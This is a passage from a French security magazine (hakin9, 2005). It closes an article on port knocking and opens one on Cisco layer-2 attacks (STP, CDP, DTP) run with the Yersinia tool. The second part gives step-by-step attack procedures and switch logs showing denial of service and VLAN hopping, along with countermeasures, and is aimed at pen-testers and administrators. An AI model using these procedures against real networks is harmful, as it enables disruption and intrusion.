D'un autre côté, lorsqu'une frappe se trouve dans un seul paquet, le transfert peut être plus fiable et le chiffrage de données – plus souple.

Elle doit avoir le format d'une séquence de port ou des données du paquet ou les deux. Puisque l'authentification validée peut déclencher n'importe quel événement sur le serveur du port knocking, on définit une carte entre ces événements et frappes. Dans certaines implémentations, toutes les frappes sont mappées soit sur l'ouverture du port soit sur sa fermeture, et dans d'autres implémentations, les frappes peuvent être associées aux commandes système arbitraire. La Figure 4 présente une matrice des caractéristiques pour les implémentations connues du port knocking (visitez http://portknocking.org pour avoir une liste complète). Deux moyens puissants destinés à combattre les attaques de rejeu sont : simulation/réponse

(en anglais challenge-response) et mots de passe dynamiques (en anglais one-time passwords). Le mécanisme de simulation/ réponse, où le serveur demande au client d'effectuer quelques calculs sur une entrée aléatoire, n'est pas approprié pour le port knocking car le client s'authentifie de manière passive. Les mots de passe dynamiques peuvent, toutefois, être implémentés et sont supportés par COK (Cryptographic One-time Knocks) de David Worth. De même que la stratégie antirejeu de Doorman incorpore un numéro aléatoire à utiliser une seule fois dans la chaîne d'authentification, COK lance aussi une fonction de hachage cryptographique sur les mots de passe précédents afin de calculer le nouveau mot de

www.hakin9.org

passe. Les attaques de rejeu sont facilement détectées : un OTP envoyé est détecté. COK supporte également le knocking via DNS : le client effectue une requête de recherche au démon DNS du serveur sur le OTP.domain.com où OTP est un one-time password (mot de passe dynamique). La recherche DNS échoue bien évidemment mais la requête est connectée et peut être exécutée. Pasmal de James Meehan est doté de deux caractéristiques intéressantes pour gérer les tentatives d'intrusion. L'une d'entre elles est un module de détection d'intrusions, qui empêcheront d'autres connexions à partir d'une adresse IP lorsque les tentatives d'analyses de port ou de frappes échouées répétitives sont détectées. Une autre caractéristique est un écran de fumée (en anglais smoke screen). Quand le client y a envoyé une frappe d'authentification initiale, les paquets de frappe restants sont distribués dans d'autres paquets configurés par le client. Dans ce schéma, le client et le serveur décident ensemble quels paquets du flux font partie de la frappe. Pasmal introduit également un frontal Web pour une configuration. Parmi toutes les implémentations, SAdoor aborde de manière unique la façon dont le client informe le serveur quelle commande il devrait exécuter. SAdoor chiffre la commande dans un paquet de commandes. C'est le dernier paquet de la séquence de paquets d'authentification. De nombreuses implémentations se servent de différents aspects de paquets pour le processus d'authentification, y compris, d'une en-tête et d'une charge de données pour stocker cette information. wknop implémente une couche d'authentification supplémentaire, basée sur l'empreinte digitale du système d'exploitation. Grâce à l'analyse de nombreuses valeurs d'options TCP trouvées dans une en-tête TCP, fwknop est capable de faire correspondre un ensemble d'options à un système d'exploita-

hakin9 Nº 6/2005

21

Dossier

tion spécifique. Par conséquent, le système de port knocking peut inclure le système d'exploitation d'où le paquet a été envoyé sous forme de filtre.

Applications

Il existe de nombreux moyens d'utiliser le port knocking. Dans certains cas, le port knocking fournit des caractéristiques concernant la sécurité, introuvables dans d'autres systèmes. Une telle application consiste à maintenir des serveurs near-line, qui apparaissent hors ligne (aucun port ouvert) : les connexions à ces serveurs sont possibles via une couche port knocking. Ces serveurs peuvent être mis sur Internet ou dans un sous-réseau d'un réseau local. Ils peuvent alors servir de passerelles aux données sensibles. L'aspect probablement le plus pratique du port knocking consiste à étendre les possibilités de correctifs sans influencer directement la sécurité. En protégeant un service de premier plan, comme SSH, l'administrateur, qui a plus de responsabilités que de temps, peut passer moins de temps à vérifier le serveur. En plus d'augmenter la sécurité, le port knocking peut être utilisé dans malware pour fournir des portes dérobées impossibles à détecter (voir l'Encadré Sur Internet). L'analyse des ports locaux ne pourra pas détecter une porte dérobée ainsi protégée ; l'utilisation répandue des applications de ce type n'est qu'une question de temps.

Détection et attaque

Il est impossible de cacher complètement un système protégé par un port knocking. Un paquet doit voyager entre les systèmes, soit comme un élément d'une étape d'authentification soit comme une connexion légitime. Les renifleurs peuvent donc identifier et détecter votre système en : • • •

22

détectant un trafic sortant, détectant des frappes entrantes détectant des connexions établies.

hakin9 Nº 6/2005

À propos de l'auteur

Martin Krzywinski (http://mkweb.bcgsc.ca) est un chercheur scientifique en bioinformatique. Il travaille avec les cartes d'empreintes digitales de grands génomes et adore écrire des scripts Perl de toute taille. Il est expérimenté en administration système *NIX et en automatisation de système. Il est originaire de Varsovie mais actuellement, il habite à Vancouver, au Canada où il fait du kayak et boit de grandes quantités de café.

Vu le grand nombre de méthodes de port knocking et la nouveauté relative de cette méthode, tous ceux qui souhaitent identifier, intercepter et exploiter un serveur de port knocking devront être persévérants dans l'interception et le décodage du trafic. La fenêtre de connexion après la validation d'une frappe est très étroite (ce qui dépend de l'implémentation). À titre d'exemple, Doorman resserre immédiatement les règles du pare-feu après avoir reçu le premier paquet SYN du client. Par conséquent, un intrus, qui prend pour cible un système protégé par un port knocking, devrait plutôt utiliser des attaques standard d'exploration, telles que vol de session et ensuite, il devrait tenter de trouver un passage dans un système de port knocking bien implémenté. Puisque le port knocking est une couche supplémentaire de sécurité passive, le serveur n'est pas exposé aux dangers si on submerge le démon du port knocking avec une attaque DoS. Si la couche de port knocking est détruite, le serveur reste inaccessible au trafic entrant jusqu'à ce que la couche soit remise. C'est une caractéristique souhaitée pour la couche de sécurité. Il ne faut pas non plus oublier que l'objectif de port knocking consiste à cacher et à protéger les services réseau qui devraient demander leur propre authentification. On peut contester

si un système de port knocking protégeant un serveur SSH ne doit pas nécessiter une étape de simulation/réponse parce que le serveur SSH l'implémente. Par conséquent, si le service SSH est mis à jour régulièrement, la couche supplémentaire de port knocking fournit davantage de protection et élimine des fils provenant des intrus les plus fermes.

Conclusions

Le port knocking est encore une méthode relativement nouvelle dont les premiers adeptes peuvent protéger d'autant leurs systèmes. Un grand nombre d'implémentations existe déjà et beaucoup d'entre elles sont prêtes à être installées et configurées. Enfin, l'ajout de port knocking aux périphériques matériels, comme routers SOHO qui supportent déjà la redirection de port, le déclenchement de port et les périphériques à faible surface de couverture, résultera en une adaptation plus large de ce mécanisme. Comme il a été déjà montré, il est très facile d'implémenter le port knocking et vous pouvez augmenter considérablement la sécurité de votre système avec un effort minime. Il est temps de tester le port knocking et de garder vos ports ouverts – pour vous. l

Sur Internet • • • •

http://www.portknocking.org – site de l'auteur concernant le port knocking, http://doorman.sourceforge.net – implémentation du port knocking de Doorman, http://www.symantec.com/press/2004/n040920b.html – section de tendances actuelles de cet article décrit les portes dérobées avec le port knocking, http://www.networksorcery.com/enp/topic/ipsuite.htm – en-têtes pour les protocoles IP.

www.hakin9.org

Attaques de la couche deux du modèle OSI Focus Alfredo Andrés, David Barroso

Degré de difficulté

La couche deux du modèle OSI est l'un des liens les plus faibles en ce qui concerne la protection du réseau. C'est aussi le lien le plus ignoré car il n'y a pas beaucoup de révélations publiques des attaques de la couche deux. Une attaque réussie de la couche deux peut être toutefois aussi dangereuse que toute autre attaque.

L

a couche de liaison de données est l'élément le moins sécurisé que l'on oublie le plus souvent dans les réseaux. Il arrive souvent que les administrateurs connectent tout simplement les commutateurs, les configurent pour le travail et ne s'en préoccupent plus. Le pen-testing révèle souvent des commutateurs qui se servent d'une version vulnérable de IOS et ne sont pas toujours performants. On pense souvent aussi que l'implémentation de VLAN dans un réseau peut empêcher des intrus malicieux. L'architecture VLAN peut toutefois constituer une faille. Par conséquent, des attaques de couches OSI supérieures, telles que reniflage de mots de passe, Man-in-theMiddle sont possibles via les VLAN. Une bonne nouvelle pour la couche deux est que les paquets de la couche de liaison de données ne peuvent pas passer via les réseaux IP (par exemple, Internet). Cependant, toutes les attaques sont limitées aux réseaux internes. Mais les statistiques démontrent que les attaques internes peuvent être aussi dangereuses que les externes. Il ne faut pas non plus oublier que si un intrus de l'extérieur traverse votre pare-feu et arrive à la Zone démilitarisée (DMZ), ces attaques lui permettent

24

hakin9 Nº 6/2005

de sortir de cette zone et de prendre tout votre réseau pour cible. Regardez quelles sont les vulnérabilités répandues de la couche de liaison de données, comment elles peuvent être exploitées par un intrus et ce que vous pouvez faire pour protéger votre équipement. Tous les exemples se reportent à l'équipement Cisco mais certains d'entre eux peuvent aussi bien concerner l'équipement d'autres fabricants.

Cet article explique... • • • •

les spécifications de deux protocoles de la couche OSI : STP, CDP, DTP, IEEE 802.1Q, VTP, comment effecteur des attaques contre ces protocoles, comment protéger votre système contre ces attaques, comment employer Yersinia, un outil très utile pour les administrateurs réseau et les pen-testeurs.

Ce qu'il faut savoir... • •

www.hakin9.org

les bases de la couche deux du modèle OSI, la connaissance de la technologie Cisco.

Attaques de la couche deux du modèle OSI

Sept couches du modéle OSI

En 1977, on a proposé un modèle Open Systems Interconnection (OSI) ; son objectif consistait à établir un standard d'interopérabilité des produits de différents fabricants. Ce modèle définit plusieurs couches liées au transfert de données, à partir de la couche la plus basse (physique) à la couche la plus haute (application). Elles dépendent fortement l'une de l'autre. Les en-têtes sont habituellement ajoutées lors d'un passage d'une couche inférieure à une couche supérieure. Voici les sept couches : • • • • • • •

Couche 1 – couche physique : gère la communication (et contrôle) via le canal de réseau, Couche 2 – couche de liaison de données : établit des méthodes pour fournir des blocs de données, Couche 3 – couche réseau : chargée de routage de paquets de données. Couche 4 – couche transport : chargée d'une bonne transmission de données (dépourvue d'erreurs), Couche 5 – couche session : permet de contrôler le dialogue entre les applications, Couche 6 – couche présentation : aide à établir un format de données entre les applications, ce qui permet d'organiser la présentation, Couche 7 – couche application : établit les méthodes permettant aux applications d'accéder au modèle OSI (le réseau).

Yersinia

Afin d'effectuer des attaques de la couche de liaison de données, vous allez vous servir d'un outil appelé Yersinia, écrit par les auteurs de cet article. Yersinia est portable, écrit en C (à l'aide de libpcap et libnet), multi-fils (supporte des utilisateurs multiples et des attaques concurrentes multiples). Il est possible de l'utiliser pour analyser, éditer et observer des paquets réseau, voire enregistrer le trafic au format pcap. La version la plus récente de Yersinia (0.5.5.2) supporte les protocoles suivants : • • • • • • • •

Spanning Tree Protocol (STP), Cisco Discovery Protocol (CDP), Dynamic Trunking Protocol (DTP), Dynamic Host Configuration Protocol (DHCP), Hot Standby Router Protocol (HSRP), IEEE 802.1Q, Inter-Switch Link Protocol (ISL), VLAN Trunking Protocol (VTP).

Yersinia peut opérer dans un de trois modes principaux : • • •

la ligne de commandes : peut être utilisée pour effectuer des attaques ad-hoc ; ce mode a été implémenté pour aider les pen-testeurs à utiliser Yersinia en scripts, le démon réseau : permet d'utiliser Yersinia depuis un emplacement distant ; CLI ressemble beaucoup à celui utilisé par Cisco, le GUI : (écrit en ncurses).

Toutes les attaques décrites sont exécutées en mode graphique (GUI), bien qu'elles puissent être aussi lancées en un ou deux autres modes. Afin de trouver toutes les caractéristiques de l'outil, appuyez sur [h] lorsque Yersinia fonctionne en mode graphique (yersinia -I). Remarque : le mode requiert un grand nombre des lignes et des colonnes pour fonctionner ; si l'exécution de ce mode échoue, essayez de maximiser votre fenêtre terminale. Yersinia incorpore d'autres attaques que celles effectuées sur la couche deux (par exemple, HSRP, DHCP). Vous allez toutefois vous concentrer seulement sur les capacités liées à la couche deux. Le nom de l'outil provient du nom d'une bactérie qui avait provoqué la Peste Noire en Europe au Moyen Âge : Yersinia pestis.

www.hakin9.org

Les concepteurs ont obtenu la plupart des données via la recherche et le développement de l'outil Yersinia. Il était parfois impossible de trouver une référence ou un code accessible au grand public ; par conséquent, certaines conclusions se basent sur l'analyse du comportement et non sur les standards publiés.

STP (Spanning Tree Protocol)

Le but de STP consiste à éviter des boucles de réseau lors de l'interconnexion des segments de réseau. Un seul chemin peut exister pour passer d'un périphérique à un autre. Chaque paquet STP s'appelle BPDU (Bridge Protocol Data Unit) et il est possible de l'identifier en observant son format : un paquet IEEE 802.3 avec une en-tête 802.2 et avec une destination MAC 01:80:C2:00:00:00 (voir la Figure 1). Il existe deux types de BPDU : Configuration et Topology Change Notification (TCN). Le premier d'entre eux est envoyé périodiquement et présente la configuration du réseau alors que le second est envoyé à chaque fois que le changement du réseau est détecté (un port est activé/désactivé). Vous trouverez plus d'informations sur STP dans IEEE Standard 802.1D (reportez vous à l'Encadré Sur Internet).

Attaques

La faiblesse principale de STP consiste en un manque d'authentification et de contrôle. Chaque périphérique, chaque personne ou chaque intrus peut envoyer un BPDU et participer au protocole. Afin de comprendre les attaques, il est nécessaire de connaître le format BPDU Configuration (voir la Figure 2) : • •

•

PID (2 octets) : Protocole, toujours zéro, Version (1 octet) : version STP, peut être zéro (STP), un (RSTP) ou trois (MSTP), Message type (1 octet) : type BPDU : configuration (0x00) ou TCN (0x80),

hakin9 Nº 6/2005

25

Focus

Paquets de décodage

Bien qu'une des utilisations de Yersinia consiste à décoder et à observer les paquets du protocole de la couche deux, il est possible d'utiliser d'autres analyseurs de protocoles comme tcpdump ou Ethereal à ces fins. Si, par exemple, vous voulez sniffer des paquets STP, vous pouvez exécuter ethereal avec l'option suivante :

Figure 1. Structure d'un paquet BPDU

# ethereal -f stp

Figure 2. Structure de BPDU Configuration •

• • • •

•

Flags (1 octet) : plusieurs paramètres de port (utile pour RSTP) et un bit pour notifier des changements en topologie, Root ID (8 octets) : ID de périphérique root, Root path cost (4 octets) : coût du chemin au périphérique root, Bridge ID (8 octets) : ID de l'expéditeur de BPDU, Port ID (2 octets) : numéro de port (IEEE ou Cisco STP BPDU) d'où le BPDU est envoyé, Message age (2 octets) : temps écoulé depuis que root a envoyé le message de configuration sur lequel se base le message courant,

•

•

•

Maximum age (2 octets) : moment où le message de configuration courante doit être détecté, Hello time (2 octets) : durée entre l'envoi de deux configurations de BPDU, Forward delay (2 octets) : durée d'attente de pont avant de passer à un nouvel état après le changement de topologie.

STP peut être décrit brièvement ainsi : l'élection de périphérique root et le calcul de chemin entre tous les périphériques participants à l'arbre de découpage. Au début, tous les périphériques participent à l'élection de root. Le périphérique

Listing 1. Résultats d'une attaque DoS envoyant un BPDU Configuration 01:20:26: 01:20:26: 01:20:26: 01:20:26: 01:20:26:

STP: STP: STP: STP: STP:

VLAN0001 VLAN0001 VLAN0001 VLAN0001 VLAN0001

heard heard heard heard heard

root root root root root

32768-d1bf.6d60.097b 32768-9ac6.0f72.7118 32768-85a3.3662.43dc 32768-3d84.bc1c.918e 32768-b2e2.1a12.dbb4

on on on on on

Fa0/8 Fa0/8 Fa0/8 Fa0/8 Fa0/8

Listing 2. Résultats d'une attaque DoS envoyant un TCN BPDU 01:35:39: 01:35:39: 01:35:39: 01:35:39: 01:35:39:

STP: STP: STP: STP: STP:

VLAN0001 VLAN0001 VLAN0001 VLAN0001 VLAN0001

Topology Topology Topology Topology Topology

Change Change Change Change Change

rcvd rcvd rcvd rcvd rcvd

on on on on on

Fa0/8 Fa0/8 Fa0/8 Fa0/8 Fa0/8

choisi est doté d'un ID le moins élevé. Une fois le root élu, tous les chemins sont recalculés à chaque fois que le réseau change. Un nouveau root est élu si le root courant disparaît ou si un nouveau périphérique, qui a un ID moins élevé, se connecte.

Faites attention

Jetez un coup d'œil sur les trois attaques possibles sur STP. Les deux premières attaques sont les attaques Denial of Service (DoS) ; elles forcent tous les périphériques participants au STP à recalculer leurs chemins. Ceci provoque l'instabilité du réseau car tous les commutateurs sont forcés à consommer le temps CPU et la mémoire en recalculant les chemins. Ces attaques sont également capables de faire apparaître des boucles de réseau. Le pire scénario est que le réseau entier soit détruit ; les duplicatas des paquets se trouveront partout, ce qui encombrera le réseau et provoquera un dysfonctionnement. Ces attaques sont plutôt simples. Elles se basent sur l'envoi des milliers de BPDU (lors de la première attaque : Configuration BPDU et lors de la deuxième : TCN) dont les adresses source MAC (et autres champs dans un BPDU Configuration, comme Bridge ID) sont générées de manière aléatoire. Ceci

Listing 3. Résultats de l'attaque Claiming Root Role 01:58:48: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/8 01:58:48: supersedes 32769-000e.84d5.2280 01:58:48: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/8, cost 19

26

hakin9 Nº 6/2005

www.hakin9.org

Attaques de la couche deux du modèle OSI

simule la connexion des milliers de nouveaux périphériques qui souhaitent participer au protocole. Rien d'étonnant que cette démarche provoque un chaos complet. Les deux attaques peuvent être effectuées au moyen de Yersinia et s'appellent : sending conf BPDUs et sending tcn BPDUs (appuyez sur [x] pour sélectionner l'attaque en mode graphique). Les Listings 1 et 2 présentent la réaction d'un commutateur aux attaques. La troisième attaque consiste à usurper l'identité d'un root STP. Dans un premier temps, on capture un BPDU, contenant l'identifiant du root. Ensuite, le système attaquant est configuré afin de se comporter comme tout autre périphérique du réseau qui souhaite participer au STP et qui est doté d'un ID moins élevé que le périphérique courant. L'identifiant root est décrémenté de 1 pour ressembler à un identifiant de root réel et pour que l'administrateur réseau ne soit pas capable de remarquer le changement en y jetant un simple coup d'œil. L'instabilité du réseau est la conséquence principale de l'attaque de ce type. Il ne faut pas oublier que tous les membres du réseau envoient des notifications (TCN) au périphérique root lorsqu'ils détectent un changement. À ce moment là, le périphérique root envoie un BPDU Configuration contenant un ensemble de drapeaux à 1 (champ Flags) afin d'informer tous les membres qu'il faut recalculer leurs chemins. Si l'attaque réussit, le nouveau faux périphérique root abandonne les TCN envoyés par les commutateurs, donc aucun

Figure 3. Structure d'un paquet CDP

Figure 4. Champs dans un paquet CDP commutateur ne recalcule son chemin. En conséquence, la structure du réseau est détruite. Afin d'effectuer l'attaque en Yersinia, il faut d'abord appuyer sur [d] pour remplir le BPDU avec des valeurs par défaut et ensuite, lancer l'attaque appelée Claiming Root Role (appuyez sur [x] et sélectionnez ensuite l'attaque quatre). L'attaque comporte deux étapes. Dans un premier temps, vous sniffez la configuration BPDU pour connaître l'identifiant root, ensuite, vous envoyez une nouvelle configuration créée par BPDU toutes les hello time secondes. Le Listing 3 présente la réaction de commutateurs. L'ancien identifiant root était 32769-000e.84d5.2280, alors que le nouveau identifiant est maintenant 32769-000e.84d4.2280. Si vous analysez l'identifiant de root, vous remarquerez que le quinzième chiffre a été changé de cinq en quatre. L'identifiant du périphérique virtuel est donc moins élevé et il est en conséquence élu identifiant de root STP.

Il existe davantage de possibilités d'attaques basées sur STP ; certaines d'entre elles sont implémentées en Yersinia. L'une d'entre elles s'appelle Causing Eternal Root Elections ; elle continue d'envoyer des paquets contenant des identifiants toujours moins élevés, ce qui provoque une élection infinie de root et un chaos complet du réseau. Une autre attaque s'appelle Claiming Root Role with MiTM ; c'est une attaque du type Man-in-the-Middle. Il est également possible de tester Claiming Other Role, ce qui signifie : essayer de se comporter comme un commutateur ; c'est une attaque proof-of-concept (preuve que c'est possible) qui ne comporte aucune conséquence négative.

Contre-mesures

Afin d'éviter des attaques STP sur les périphériques Cisco, un administrateur peut : •

désactiver le STP lorsqu'il n'est pas nécessaire,

Tableau 1. Exemples de nuples TLV Contenu TLV

Type

Longueur

Valeur

0001 0008 7a61 7065

Device ID (0x0001)

8 (0x0008) (deux octets pour le type, deux octets pour la longueur et quatre octets pour la valeur)

zape (0x7a 0x61 0x70 0x65)

000b 0005 01

Duplex type (0x000b)

5 (0x0005) (deux octets 0x01 (Full Duplex) pour le type, deux octets pour la longueur et un octet pour la valeur)

www.hakin9.org

hakin9 Nº 6/2005

27

Focus

Listing 4. Résultats d'une attaque CDP DoS # show cdp neighbours Capability Codes: R - Router, T - Trans Bridge, B - Source Route Bridge S - Switch, H - Host, I - IGMP, r - Repeater, P - Phone Device ID Local Intrfce Holdtme Capability Platform Port ID 2EEEWWW Gig 0/1 253 yersinia Eth 0 ZCCCUU9 Gig 0/1 250 T S I r yersinia Eth 0 J222FFX Gig 0/1 249 R T yersinia Eth 0 WAAASS6 Gig 0/1 240 R B I r yersinia Eth 0 2IIWWWE Gig 0/1 249 T B H I yersinia Eth 0 K333FFX Gig 0/1 234 R T yersinia Eth 0 TBBBOO7 Gig 0/1 252 B H r yersinia Eth 0 3KKYKYY Gig 0/1 250 R B H yersinia Eth 0 TBBBPP7 Gig 0/1 252 S H I r yersinia Eth 0

•

utiliser Spanning Tree Portfast BPDU Guard Enhancement et Spanning Tree Protocol Root Guard Enhancement (reportezvous à l'Encadré Sur Internet).

CDP (Cisco Discovery Protocol)

CDP est un protocole propriétaire de Cisco, permettant aux différents périphériques de réseau Cisco de communiquer entre eux. D'autres fabricants peuvent également se servir d'un CDP s'ils acquièrent la technologie nécessaire (par exemple Hewlett-Packard). La façon la plus simple d'identifier un paquet CDP consiste à regarder

les caractéristiques suivantes : un paquet IEEE 802.3 avec une en-tête 802.2 SNAP et une destination multicast MAC 01:00:0C:CC:CC:CC (voir la Figure 3). Un paquet CDP contient des informations intéressantes sur les propriétés du périphérique envoyant le paquet. À titre d'exemple, cette information peut contenir : • • • • • •

le nom du périphérique, le modèle, la version IOS, l'adresse IP (peut en contenir plusieurs), le domaine VTP, les capacités (commutateur, router, pont, etc).

Figure 5. TLV pour un exemple de paquet vu en Yersinia Ces données, envoyées périodiquement par tout périphérique Cisco, peuvent proposer des informations précieuses pour les attaques ultérieures. Par défaut, CDP est activé sur les périphériques Cisco et envoie cette information toutes les 180 secondes (trois minutes).

Attaques

Aucune authentification n'est demandée lors de l'envoi ou de la réception des paquets CDP. Les données de paquet sont envoyées en texte clair, ce qui rend les attaques plus faciles. De plus, le format CDP est expliqué sur le site Web de Cisco (reportez vous à l'Encadré Sur Internet). Un paquet CDP se compose des champs suivants (voir la Figure 4) :

Listing 5. Résultats d'une attaque CDP DoS – journal de commutateur 00:06:08: %SYS-2-MALLOCFAIL: Memory allocation of 224 bytes failed from 0x800118D0, alignment 0 Pool: Processor Free: 0 Cause: Not enough free memory Alternate Pool: I/O Free: 32 Cause: Not enough free memory -Process= "CDP Protocol", ipl= 0, pid= 26 -Traceback= 801DFC30 801E1DD8 800118D8 80011218 801D932C 801D9318 00:06:08: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:09: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:10: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:11: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:12: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:13: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:14: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:15: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:16: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:17: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:18: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:19: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:20: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:21: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:22: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:23: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:38: %SYS-2-MALLOCFAIL: Memory allocation of 140 bytes failed from 0x801E28BC, alignment 0 Pool: Processor Free: 0 Cause: Not enough free memory Alternate Pool: I/O Free: 32 Cause: Not enough free memory

28

hakin9 Nº 6/2005

www.hakin9.org

Attaques de la couche deux du modèle OSI

Qu'est-ce qu'une agrégation ?

Dans les systèmes téléphoniques une agrégation est une ligne, capable de transporter plus d'une voix ou d'une chaîne de données simultanément entre deux inter-changements. Pour parler en termes de réseau, une agrégation peut être établie entre deux commutateurs. Il est ainsi possible d'envoyer du trafic VLAN multiple à l'aide du même lien physique (multiplexage).

•

• • •

Version (1 octet) : indique la version CDP, en général, une ou deux, TTL (1 octet) – Time To Live : durée de vie d'un paquet CDP, Checksum (2 octets) : vérifie quel paquet est correct, TLV (longueur variable) – séries Type, Length, Value. Ce champ contient les données courantes, il est représenté par une liste de tuples TLV, chaque tuple doté du format suivant : Type (2 bytes), type de données (par exemple Device ID, Address, Port ID), Length (2 octets), longueur TLV et Value (longueur variable), la valeur courante (voir la Table 1 pour les exemples de nuples TLV et la Figure 5 pour une capture d'écran de Yersinia présentant les TLV pour un exemple de paquet).

Si vous connaissez le format, vous pouvez prendre le rôle d'un périphérique de réseau en envoyant un paquet créé par CDP. Les anciennes versions IOS de Cisco ont des vulnérabilités, découvertes par FX de Phenoelit (reportez vous à l'Encadré Sur Internet). Si beaucoup de paquets CDP contenant des identifiants différents sont envoyés (en essayant de se comporter comme des périphériques de réseau différents), la mémoire est saturée dans le périphérique. Le périphérique échoue alors et doit être relancé pour fonctionner correctement. Une telle attaque peut provoquer une déconnexion d'un segment du réseau

Figure 6. Structure d'un paquet DTP

Figure 7. Structure interne de DTP (les en-têtes Ethernet exclus) ou, si un routeur n'est pas pris pour cible, l'accès à Internet est impossible jusqu'à ce que le périphérique soit relancé.

Faites attention

Si vous êtes connectés à un réseau, contenant des périphériques comprenant CDP, l'affichage graphique montrera rapidement les modes CDP de ces périphériques. La première attaque liée à CDP se base sur la vulnérabilité susmentionnée. Pour ce faire, aucune information supplémentaire n'est nécessaire. En mode graphique de Yersinia, en mode CDP, appuyez sur [x] et sélectionnez l'attaque flooding CDP table. Le Listing 4 présente le résultat de l'attaque et le Listing 5 présente le journal de commutateur. Yersinia incorpore une autre attaque, permettant de configurer les périphériques virtuels de Cisco. Lorsqu'un administrateur réseau vérifie les voisins dans un des périphériques réels, tous les périphériques

virtuels créés s'afficheront sur une console. Cette attaque n'a aucune conséquence négative à l'exception d'agacer l'administrateur réseau (qui essayera certainement de découvrir le nouveau périphérique connecté au réseau).

Contre-mesures

La seule contre-mesure valide contre les attaques CDP consiste à désactiver CDP au moyen de la commande : no cdp run . Le protocole lui-même n'a pas été accru pour la sécurité.

DTP (Dynamic Trunking Protocol)

DTP est un protocole propriétaire de Cisco, chargé d'établir des agrégations (reportez-vous à l'Encadré Qu'est-ce qu'une agrégation ?) entre les commutateurs de la couche deux. Les paquets DTP ont en général la valeur 01:00:0C:CC:CC:CC comme la destination MAC et une trame IEEE 802.3 incluant un entête 802.2 SNAP (voir la Figure 6).

Listing 6. Statut de VLAN avant l'attaque zipi# sh vlan VLAN Name Status Ports ---- ----------------------------- --------- ------------------------------1 default active Fa0/1, Fa0/2, Fa0/3, Fa0/4 Fa0/5, Fa0/6, Fa0/7, Fa0/8 Fa0/9, Fa0/14, Fa0/15, Fa0/16 Fa0/17, Fa0/18, Fa0/19, Fa0/24 Gi0/1, Gi0/2 100 Office active Fa0/10, Fa0/11, Fa0/12, Fa0/13 200 Internet active Fa0/20, Fa0/21, Fa0/22, Fa0/23

www.hakin9.org

hakin9 Nº 6/2005

29

Focus

Listing 7. Statut du port DTP depuis la console de commutateur zipi# sh dtp int Fa0/10 DTP information for FastEthernet0/10: TOS/TAS/TNS: TOT/TAT/TNT: Neighbor address 1: Neighbor address 2:

ACCESS/DESIRABLE/ACCESS NATIVE/802.1Q/802.1Q 000000000000 000000000000

Listing 8. Statut de port avant l'attaque zipi# sh dtp int fa0/10 DTP information for FastEthernet0/10: TOS/TAS/TNS: TOT/TAT/TNT: Neighbor address 1: Neighbor address 2:

TRUNK/DESIRABLE/TRUNK 802.1Q/802.1Q/802.1Q 666666666666 000000000000

Listing 9. Ports VLAN assignés avant l'attaque zipi# sh vlan VLAN Name Status Ports ---- ----------------------------- --------- ------------------------------1 default active Fa0/1, Fa0/2, Fa0/3, Fa0/4 Fa0/5, Fa0/6, Fa0/7, Fa0/8 Fa0/9, Fa0/14, Fa0/15, Fa0/16 Fa0/17, Fa0/18, Fa0/19, Fa0/24 Gi0/1, Gi0/2 100 Office active Fa0/11, Fa0/12, Fa0/13 200 Internet active Fa0/20, Fa0/21, Fa0/22, Fa0/23

Ce protocole est disponible dans la plupart des commutateurs de Cisco, à l'exception des modèles XL. DTP est désactivé par défaut par les périphériques de Cisco, prêts à négocier dans tout port de commutateurs. Il est cependant nécessaire de savoir comment

négocier DTP afin d'établir une agrégation. La spécification DTP est la propriété de Cisco (n'est pas publique), ce qui le rend plus difficile. Par conséquent, les auteurs de cet article ont été obligés d'utiliser l'ingénierie inverse (reversing) du trafic entre deux commutateurs

qui configurent une agrégation afin de découvrir quel est le format de DTP. DTP négocie aussi bien l'activation de l'agrégation que le type d'encapsulation utilisé pour envoyer et recevoir du trafic via un port donné. L'encapsulation la plus répandu est IEEE 802.1Q (supporté par la plupart des commutateurs de Cisco). Sa spécification est un standard public. D'un autre côté, il est également possible d'utiliser ISL. C'est un protocole propriétaire de Cisco supporté uniquement par les périphériques high-end de Cisco. La raison principale pour utiliser l'encapsulation est la mise en balises des paquets à l'aide de leur propre balise VLAN. Cette démarche aide les commutateurs à savoir où envoyer le paquet.

Attaques

DTP ne se sert d'aucune authentification du transmetteur et, comme il a été déjà mentionné, il est désactivé par défaut sur tous les ports. La seule condition : êtes-vous capables de négocier DTP ? Si c'est le cas, vous accédez aux autres VLAN. Afin d'apprendre comment négocier DTP, il est d'abord nécessaire de connaître le format de paquet DTP (voir la Figure 7) : •

•

•

•

La première étape de la négociation DTP dans les périphériques Cisco consiste à envoyer trois paquets, un par seconde, représentant le statut

Figure 8. Résultats de l'attaque DTP

30

hakin9 Nº 6/2005

Domain (32 octets) : chaîne ASCII identique au domaine VTP configuré, Status (1 octet) : affiche le statut de port : on, off, desirable or auto; par défaut : desirable – vous pouvez commencer à négocier DTP, Type (1 octet) : type d'encapsulation supporté : ISL, 802.1Q, negotiated (ISL ou 802.1Q) ou native, Neighbor-ID (6 octets) : identifie le périphérique qui envoie le paquet ; en général, il s'agit de la MAC adresse du port.

www.hakin9.org

Attaques de la couche deux du modèle OSI

